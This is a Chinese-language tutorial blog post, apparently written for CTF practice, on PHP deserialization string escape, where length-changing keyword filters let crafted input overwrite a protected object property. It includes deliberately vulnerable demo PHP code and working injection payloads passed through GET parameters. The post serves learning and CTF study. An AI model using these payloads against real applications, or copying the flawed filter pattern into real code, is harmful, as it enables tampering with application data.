php反序列化字符串逃逸

最近经常碰到反序列化改变长度的逃逸问题,写篇笔记记一下。
在反序列化前,若对序列化的字符串进行一些替换关键字操作,如果改变了长度,则会导致一些安全问题。

在讨论这个前得先理解php反序列化时的截断问题,举例:


$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";};i:2;s:4:"defg";}';
var_dump(unserialize($a));
echo "
"
; var_dump(unserialize($b)); ?>

结果:
在这里插入图片描述
可以看到$b中因为前部分a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}已经满足反序列化需求,所以后部分被丢弃。
了解这个之后,就可以继续我们的讨论。

替换后长度变长。


function safe($str){
     
    return preg_replace('/k/', 'no', $str);
}
class User
{
     
    public $name;
    public $score;
}
    $o  = new User();
    $name = $_GET['name'];
    $o->name = $name;
    $o->score = '100';
    $str1 = serialize($o);
    echo $str1.'
'
; var_dump(unserialize($str1)); echo '
'
; $str2 = safe($str1); echo $str2.'
'
; var_dump(unserialize($str2)); echo '
'
;

上面的源码中score不可控,利用逃逸我们可以控制他的值。
上面的safe函数将get获取的name参数中关键字k替换成no,则每传入一个k长度加长1。
用get获取name参数
?name=fmyyykkkkkkkkkkkkkkkkkkkkkkkkk";s:5:"score";s:3:"888";}
结果:
在这里插入图片描述
可以看到,替换前score的值是100,替换后就变成了了888。
解释:
?name=fmyyykkkkkkkkkkkkkkkkkkkkkkkkk";s:5:"score";s:3:"888";}
在这个字符串中,后部分";s:5:"score";s:3:"888";}长度为25,所以前面构造25个k,这样替换后变成25个no,长度增加了25,将这部分挤出,
序列化字符串变成了:
O:4:"User":2:{s:4:"name";s:55:"fmyyynonononononononononononononononononononononononono";s:5:"score";s:3:"888";}";s:5:"score";s:3:"100";}
结合上面说过的截断问题,原来的score值被挤出,所以只要构造正确,本来不可控的score就会被我们控制。

替换后变长度减少。

差不多的原理


function safe($str){
     
    return preg_replace('/k/', '', $str);
}
class User
{
     
    public $name;
    public $age;
    public $score;
}
$o  = new User();
$name = $_GET['name'];
$o->name = $name;
$age = $_GET['age'];
$o->age = $age;
$o->score = '100';
$str1 = serialize($o);
echo $str1.'
'
; var_dump(unserialize($str1)); echo '
'
; $str2 = safe($str1); echo $str2.'
'
; var_dump(unserialize($str2)); echo '
'
;

上面的源码中,User类中有name,age,score三个属性,name和age是我们可控的,score不可控,我们要利用逃逸控制score的值。
传入参数
?name=kkkkkkkkkkkkkkkkkkkkkkk&age=12345";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}
在这里插入图片描述
可以看到,score的值改变了。
解释:
原序列化字符串:
O:4:"User":3:{s:4:"name";s:23:"kkkkkkkkkkkkkkkkkkkkkkk";s:3:"age";s:48:"12345";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}";s:5:"score";s:3:"100";}
把k变成空后
O:4:"User":3:{s:4:"name";s:23:"(";s:3:"age";s:48:"12345)";s:5:"score";s:3:"888";s:2:"ab";s:2:"sb";}";s:5:"score";s:3:"100";}
因为k被置换为空 但 s:23还在,会包含后面的23个字符,也就是括号里面的字符串(括号不算,为了方便理解加上去的)
但User类有三个属性,所以得在加一个任意属性才能满足反序列化,例如这里加的s:2:"ab";s:2:"sb",即属性ab值为sb。

总结

具体题目具体分析,如果题目中的键名可控的话,构造会被替换的键名也能进行逃逸。

你可能感兴趣的:(php反序列化,php,ctf)